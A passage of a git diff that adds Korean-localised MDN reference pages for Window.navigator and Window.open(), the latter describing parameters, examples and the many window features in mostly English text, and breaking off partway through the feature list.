+<p><code>window.name</code>은 <code>toString</code> 메소드를 이용해 모든 값을 문자열로 변환합니다.</p>
diff --git a/files/ko/web/api/window/navigator/index.html b/files/ko/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..2c37903789
--- /dev/null
+++ b/files/ko/web/api/window/navigator/index.html
@@ -0,0 +1,44 @@
+---
+title: Window.navigator
+slug: Web/API/Window/navigator
+tags:
+  - API
+  - DOM
+  - Property
+  - Read-only
+  - Reference
+  - Window
+translation_of: Web/API/Window/navigator
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.navigator</code></strong> 읽기 전용 속성은 스크립트를 구동 중인 애플리케이션에 대한 메서드와 속성을 가진 {{domxref("Navigator")}} 객체의 참조를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>navigatorObject</em> = window.navigator</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.navigator")}}</p>
diff --git a/files/ko/web/api/window/open/index.html b/files/ko/web/api/window/open/index.html
new file mode 100644
index 0000000000..eefa823c08
--- /dev/null
+++ b/files/ko/web/api/window/open/index.html
@@ -0,0 +1,665 @@
+---
+title: Window.open()
+slug: Web/API/Window/open
+translation_of: Web/API/Window/open
+---
+<div>{{APIRef}}</div>
+
+<p> {{domxref("Window")}} 인터페이스인 <strong><code>open()</code></strong> 메써드는 명시된 리소스를 명시된 이름으로 브라우징 컨텍스트(윈도우, {{HTMLElement("iframe")}} 또는 탭)에 로드한다. 이름이 없다면 새 윈도우가 열리고 이 윈도우의 브라우징 컨텍스트에 명시된 리소스가 열린다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>var <em>window</em> = window.open(<em>url</em>, <em>windowName</em>, [<var>windowFeatures</var>]);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>A {{domxref("DOMString")}} indicating the URL of the resource to be loaded. This can be a path or URL to an HTML page, image file, or any other resource which is supported by the browser. If the empty string ("") is specified as <code>url</code>, a blank page is opened into the targeted browsing context.</dd>
+ <dt><code>windowName</code></dt>
+ <dd>A {{domxref("DOMString")}} specifying the name of the browsing context (window, {{HTMLElement("iframe")}} or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by <code>windowName</code>. This name can then be used as the target of links and forms by specifying it as the <code>target</code> attribute of {{HTMLElement("a")}} or {{HTMLElement("form")}} elements. The name should not contain whitespace. Keep in mind that this will <em>not</em> be used as the window's displayed title.<br>
+ If the string is empty, the browser will create a new window every time (this behaviour doesn't work when the string is replaced with NULL).</dd>
+ <dt><code>windowFeatures</code> {{optional_inline}}</dt>
+ <dd>A {{domxref("DOMString")}} containing a comma-separated list of window features given with their corresponding values in the form "name=value". These features include options such as the window's default size and position, whether or not to include scroll bars, and so forth. There must be no whitespace in the string. See {{anch("Window features")}} below for documentation of each of the features that can be specified.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Window")}} object representing to the newly created window. If the window couldn't be opened, the returned value is instead <code>null</code>. The returned <code>Window</code> reference can be used to access properties and methods of the new window as long as it complies with <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a> security requirements.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code>open()</code> method creates a new secondary browser window, similar to choosing New Window from the File menu. The <code>strUrl</code> parameter specifies the URL to be fetched and loaded in the new window. If <code>strUrl</code> is an empty string, then a new blank, empty window (URL <code>about:blank</code>) is created with the default toolbars of the main window.</p>
+
+<p>Note that remote URLs won't load immediately. When <code>window.open()</code> returns, the window always contains <code>about:blank</code>. The actual fetching of the URL is deferred and starts after the current script block finishes executing. The window creation and the loading of the referenced resource are done asynchronously.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush:js">var windowObjectReference;
+var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes";
+
+function openRequestedPopup() {
+  windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures);
+}</pre>
+
+<pre class="brush:js">var windowObjectReference;
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImageFile.png",
+    "DescriptiveWindowName",
+    "resizable,scrollbars,status"
+  );
+}</pre>
+
+<p>If a window with the name already exists, then <code>strUrl</code> is loaded into the <em>existing</em> window. In this case the return value of the method is the existing window and <code>strWindowFeatures</code> is ignored. Providing an empty string for <code>strUrl</code> is a way to get a reference to an open window by its name without changing the window's location. To open a <em>new</em> window on every call of <code>window.open()</code>, use the special value <code>_blank</code> for <code>strWindowName</code>.</p>
+
+<div class="note">
+<p><a href="#Note_on_use_of_window_open" id="Note_on_use_of_window_open">Note on the use of window.open to reopen an existing window</a> with name <code>strWindowName</code> : This functionality is not valid for all browsers and more with variable conditions. Firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the previously created window. Google Chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). This is a wide limitation and generates unbelievable complexity of development. Firefox (51.) gets the handle but cannot run any Element.focus() while Chrome can run focus() from opener to child but not between siblings nor, reverse, from child to opener. This function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). For now 10/01/2017 the differencies of behavior found recently have not still been tested for others Browsers.  </p>
+</div>
+
+<h2 id="Window_features">Window features</h2>
+
+<p><code>strWindowFeatures</code> is an optional string containing a comma-separated list of requested features of the new window. After a window is opened, JavaScript can't be used to change the features. If <code>strWindowName</code> does not specify an existing window and the <code>strWindowFeatures</code> parameter is not provided (or if the <code>strWindowFeatures</code> parameter is an empty string), then the new secondary window will render the default toolbars of the main window.</p>
+
+<p>If the <code>strWindowFeatures</code> parameter is used and no size features are defined, then the new window dimensions will be the same as the dimensions of the most recently rendered window.</p>
+
+<p>If the <code>strWindowFeatures</code> parameter is used and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well.</p>
+
+<p><strong>If the <code>strWindowFeatures</code> parameter is used, the features that are not listed will be disabled or removed</strong> (except <code>titlebar</code> and <code>close</code>, which are by default <code>yes</code>).</p>
+
+<div class="note">
+<p><strong>Tip</strong>: If using the <code>strWindowFeatures</code> parameter, only list the features to be enabled or rendered; the others (except <code>titlebar</code> and <code>close</code>) will be disabled or removed. Note that in some browsers, users can override the <code>strWindowFeatures</code> settings and enable (or prevent the disabling of) features.</p>
+</div>
+
+<p><img alt="Firefox Toolbars Illustration" src="/@api/deki/files/210/=FirefoxChromeToolbarsDescription7a.gif" style="display: block; margin: 0px auto;"></p>
+
+<h3 id="Position_and_size_features">Position and size features</h3>
+
+<div>{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}</div>
+
+<p><a href="#Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</a></p>
+
+<div class="bug">{{bug(176320)}}</div>
+
+<p><a href="#Note_on_precedence">Note on precedence</a></p>
+
+<dl>
+ <dt id="left">left</dt>
+ <dd>Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="top">top</dt>
+ <dd>Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="height">height</dt>
+ <dd>Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="width">width</dt>
+ <dd>Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt>screenX</dt>
+ <dd>Deprecated. Same as <a href="#left">left</a> but only supported by Netscape and Mozilla-based browsers.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>screenY</dt>
+ <dd>Deprecated. Same as <a href="#topS">top</a> but only supported by Netscape and Mozilla-based browsers.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>centerscreen</dt>
+ <dd>Centers the window in relation to its parent's size and position. Requires chrome=yes.</dd>
+ <dt>outerHeight</dt>
+ <dd>Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.</dd>
+ <dd><strong>Note</strong>: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>outerWidth</dt>
+ <dd>Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>innerHeight</dt>
+ <dd>Same as <a href="#height">height</a> but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The <var>innerHeight</var> value includes the height of the horizontal scrollbar if present. Minimal required value is 100.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>innerWidth</dt>
+ <dd>Same as <a href="#width">width</a> but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Toolbar_and_chrome_features">Toolbar and chrome features</h3>
+
+<dl>
+ <dt>NOTE: All features can be set to <var>yes</var> or <var>1</var>, or just be present to be "on". Set them to <var>no</var> or <var>0</var>, or in most cases just omit them, to be "off".</dt>
+ <dd>Example: "status=yes", "status=1", and "status" have identical results.</dd>
+ <dt>menubar</dt>
+ <dd>If this feature is on, then the new secondary window renders the menubar.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the menubar by setting <code>dom.disable_window_open_feature.menubar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>toolbar</dt>
+ <dd>If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to <var>no</var> all toolbars in the window will be invisible, for example extension toolbars).</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting <code>dom.disable_window_open_feature.toolbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>location</dt>
+ <dd>If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the location bar by setting <code>dom.disable_window_open_feature.location</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>. {{Fx_minversion_note(3, "In Firefox 3, <code>dom.disable_window_open_feature.location</code> now defaults to <var>true</var>, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt>personalbar</dt>
+ <dd>If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting <code>dom.disable_window_open_feature.personalbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>directories {{obsolete_inline("2")}}</dt>
+ <dd>Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.</dd>
+ <dt>status</dt>
+ <dd>If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (<a href="#Note_on_security_issues_of_the_status_bar_presence">Note on status bar in XP SP2</a>) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.</dd>
+ <dd><a href="#Note_on_status_bar">Note on status bar</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Window_functionality_features">Window functionality features</h3>
+
+<dl>
+ <dt>attention {{NonStandardBadge}}</dt>
+ <dd>If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/App_permissions", "Internal (Certified) app permissions")}} for more information.</dd>
+ <dd>Supported in: <img alt="" src="https://mdn.mozillademos.org/files/8003/firefox_os_logo_wordmark-75px.png" style="height: 25px; width: 83px;"></dd>
+ <dt>dependent</dt>
+ <dd>If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.</dd>
+ <dd>Dependent windows are not implemented on MacOS X, this option will be ignored.</dd>
+ <dd>The dependent feature is currently under revision to be removed ({{Bug(214867)}})</dd>
+ <dd>In MSIE 6, the nearest equivalent to this feature is the <code>showModelessDialog()</code> method.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>minimizable</dt>
+ <dd>This setting can only apply to dialog windows; "minimizable" requires <code>dialog=yes</code>. If <code>minimizable</code> is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and <code>minimizable=no</code> will be ignored.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>fullscreen</dt>
+ <dd>Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.</dd>
+ <dd>This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.</dd>
+ <dd><code>fullscreen</code> always upsets users with large monitor screen or with dual monitor screen. Forcing <code>fullscreen</code> onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.</dd>
+ <dd><a href="#Note_on_fullscreen">Note on fullscreen</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png"></dd>
+ <dd><code>fullscreen</code> does not really work in MSIE 6 SP2.</dd>
+ <dt><a id="noopener" name="noopener">noopener</a></dt>
+ <dd>If this feature is set, the newly-opened window will open as normal, except that it will not have access back to the originating window (via {{domxref("Window.opener")}} — it returns <code>null</code>). In addition, the <code>window.open()</code> call will also return <code>null</code>, so the originating window will not have access to the new one either.  This is useful for preventing untrusted sites opened via <code>window.open()</code> from tampering with the originating window, and vice versa.</dd>
+ <dd>Note that when <code>noopener</code> is used, nonempty target names other than <code>_top</code>, <code>_self</code>, and <code>_parent</code> are all treated like <code>_blank</code> in terms of deciding whether to open a new window/tab.<br>
+ <br>
+ This is supported in modern browsers including Chrome, and Firefox 52+. See <code><a href="/en-US/docs/Web/HTML/Link_types#noopener">rel="noopener"</a></code> for more information and for browser compatibility details, including information about ancillary effects.</dd>
+ <dt>resizable</dt>
+ <dd>If this feature is on, the new secondary window will be resizable.</dd>
+ <dd><strong>Note</strong>: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar.
+ <p>Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})</p>
+
+ <div class="note">
+ <p><strong>Tip</strong>: For accessibility reasons, it is strongly recommended to set this feature always on</p>
+ </div>
+ </dd>
+ <dd>Mozilla and Firefox users can force new windows to be easily resizable by setting <code>dom.disable_window_open_feature.resizable</code> to <code><var>true</var></code> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>scrollbars</dt>
+ <dd>If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport.
+ <div class="note">
+ <p><strong>Tip</strong>: For accessibility reasons, it is strongly encouraged to set this feature always on.</p>
+ </div>
+ </dd>
+ <dd>Mozilla and Firefox users can force this option to be always enabled for new windows by setting {{pref("dom.disable_window_open_feature.scrollbars")}} to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>. <strong>Starting in Firefox 49, this feature is on by default, and the {{pref("dom.disable_window_open_feature.scrollbars")}} preference has been removed.</strong></dd>
+ <dd><a href="#Note_on_scrollbars">Note on scrollbars</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<h3 id="Features_requiring_privileges">Features requiring privileges</h3>
+
+<p>The following features require the <code>UniversalBrowserWrite</code> privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.</p>
+
+<dl>
+ <dt>chrome</dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(244965)}}). Without this privilege, it is ignored.</dd>
+ <dd>If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>dialog</dt>
+ <dd><strong>Note</strong>: Starting with Firefox 44, this feature can only be used with chrome privileges. If content attempts to toggle this feature, it will be ignored.</dd>
+ <dd><a href="/@api/deki/files/268/=MenuSystemCommands.png" title="MenuSystemCommands.png"><img alt="MenuSystemCommands.png" class="internal lwrap" src="/@api/deki/files/268/=MenuSystemCommands.png?size=webview" style="float: left; height: 170px; width: 170px;"> </a> The <code>dialog</code> feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>modal</dt>
+ <dd><strong>Note</strong>: Starting with Mozilla 1.2.1, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(180048)}}). Without this privilege, it is ignored.</dd>
+ <dd>If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the <a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert() function</a>.</dd>
+ <dd>The exact behavior of modal windows depends on the platform and on the Mozilla release version.
+ <div class="note">
+ <p><strong>Note:</strong> As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.</p>
+ </div>
+ </dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>titlebar</dt>
+ <dd>By default, all new secondary windows have a titlebar. If set to <var>no or 0</var>, this feature removes the titlebar from the new secondary window.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always render the titlebar by setting<br>
+ <code>dom.disable_window_open_feature.titlebar</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
